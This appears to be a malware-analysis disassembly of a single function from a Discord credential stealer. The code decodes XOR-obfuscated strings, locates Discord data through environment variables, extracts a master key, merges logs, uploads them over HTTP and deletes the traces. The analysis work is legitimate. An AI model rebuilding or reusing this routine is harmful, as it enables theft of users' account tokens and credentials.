Function at 0x6ff91250
Capabilities:
Check if file exists
Delete file
Encode data using xor
Get file attributes
Query environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
mov rbx, rcx
sub rsp, 0xa70
mov byte [rsp + 0x678], 0
lea rax, [rsp + 0x670]
lea rdx, [rsp + 0x677]
mov dword [rsp + 0x671], 0x91d1d0c
mov r12, rax
mov word [rsp + 0x675], 0x190c
mov byte [rsp + 0x677], 0xc
xor byte [rax + 1], 0x4d
inc rax
cmp rax, rdx
jne 0x6ff9129d
lea r15, [rsp + 0x6d]
lea rdi, [rsp + 0x671]
mov byte [rsp + 0x678], 0
mov rdx, rdi
mov rcx, r15
call sub.msvcrt.dll_strcpy
mov rcx, r15
call sub.msvcrt.dll_getenv
mov byte [rsp + 0x691], 0
mov rdx, r12
mov r8, rax
mov byte [rsp + 0x690], 9
movabs rax, 0x23331c4a331c4a6f
mov qword [rsp + 0x670], rax
movabs rax, 0x1b3c4f030e0c00
mov qword [rsp + 0x678], rax
movabs rax, 0x190a03330a080e1d
mov qword [rsp + 0x680], rax
movabs rax, 0x10641330d0b030a
mov qword [rsp + 0x688], rax
lea rax, [rsp + 0x690]
xor byte [rdx + 1], 0x6f
inc rdx
cmp rdx, rax
jne 0x6ff91337
lea r14, [rsp + 0x16c]
mov r9, rbx
mov rdx, rdi
mov byte [rsp + 0x691], 0
mov rcx, r14
call sym.main.exe_sprintf_char__char_const__::_
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x6ff91377
test al, 0x10
je 0x6ff915dd
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, r14
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, rbx
mov rcx, r15
call sym.main.exe_discord_get_master_key_char_const__char_const_
mov rsi, rax
test rax, rax
je 0x6ff915dd
mov rcx, r15
call sub.msvcrt.dll_getenv
mov byte [rsp + 0x697], 0
mov rdx, r12
mov r8, rax
mov byte [rsp + 0x696], 0x10
movabs rax, 0x3e2e01572e015772
mov qword [rsp + 0x670], rax
movabs rax, 0x1d0621521e13111d
mov qword [rsp + 0x678], rax
movabs rax, 0x4171e2e17151300
mov dword [rsp + 0x690], 0x5c161715
mov word [rsp + 0x694], 0x161e
mov qword [rsp + 0x680], rax
movabs rax, 0x171f2e10161e17
mov qword [rsp + 0x688], rax
lea rax, [rsp + 0x696]
xor byte [rdx + 1], 0x72
inc rdx
cmp rdx, rax
jne 0x6ff91447
lea r13, [rsp + 0x270]
mov rdx, rdi
mov r9, rbx
mov byte [rsp + 0x697], 0
mov rcx, r13
call sym.main.exe_sprintf_char__char_const__::_
mov rcx, r15
call sub.msvcrt.dll_getenv
mov byte [rsp + 0x68c], 0
mov rdx, r12
mov dword [rsp + 0x688], 0x42444c45
mov r8, rax
movabs rax, 0x6c7c53057c530520
mov qword [rsp + 0x670], rax
movabs rax, 0x4f5473004c41434f
mov qword [rsp + 0x678], rax
movabs rax, 0x56454c7c45474152
mov qword [rsp + 0x680], rax
lea rax, [rsp + 0x68b]
xor byte [rdx + 1], 0x20
inc rdx
cmp rax, rdx
jne 0x6ff914d0
lea r15, [rsp + 0x470]
mov r9, rbx
mov rdx, rdi
mov byte [rsp + 0x68c], 0
mov rcx, r15
call sym.main.exe_sprintf_char__char_const__::_
mov rdx, r13
mov rcx, r15
call sym.main.exe_discord_merge_logs_char_const__char_const_
mov byte [rsp + 0x5d], 0
lea rdx, [rsp + 0x5c]
movabs rax, 0x3c393d2a282b7758
mov word [rsp + 0x5a], 0x7d77
mov byte [rsp + 0x5c], 0x2b
mov qword [rsp + 0x52], rax
lea rax, [rsp + 0x52]
mov rbx, rax
xor byte [rax + 1], 0x58
inc rax
cmp rdx, rax
jne 0x6ff91532
lea r15, [rsp + 0x53]
mov r8, rsi
mov rcx, r12
mov byte [rsp + 0x5d], 0
mov rdx, r15
call sym.main.exe_sprintf_char__char_const__::_
mov byte [rsp + 0x6c], 0
lea rdx, [rsp + 0x6b]
movabs rax, 0xb5e5e5c4f515526
mov qword [rsp + 0x52], rax
movabs rax, 0x43480b5c524f4a44
mov word [rsp + 0x6a], 0x4345
mov qword [rsp + 0x5a], rax
movabs rax, 0x47565508404e0852
mov qword [rsp + 0x62], rax
mov rax, rbx
xor byte [rax + 1], 0x26
inc rax
cmp rax, rdx
jne 0x6ff91597
lea r9, [rsp + 0x48]
mov r8, r13
mov rdx, r12
mov rcx, r15
mov byte [rsp + 0x6c], 0
call sym.main.exe_http_upload_file_char_const__char_const__char_const__char_
mov rbx, qword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp eax, 0xc8
je 0x6ff915ce
mov rcx, r14
call rbx
mov rcx, r13
call rbx
mov rcx, qword [rsp + 0x48]
call sym.main.exe_http_free_char_
add rsp, 0xa70
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
ret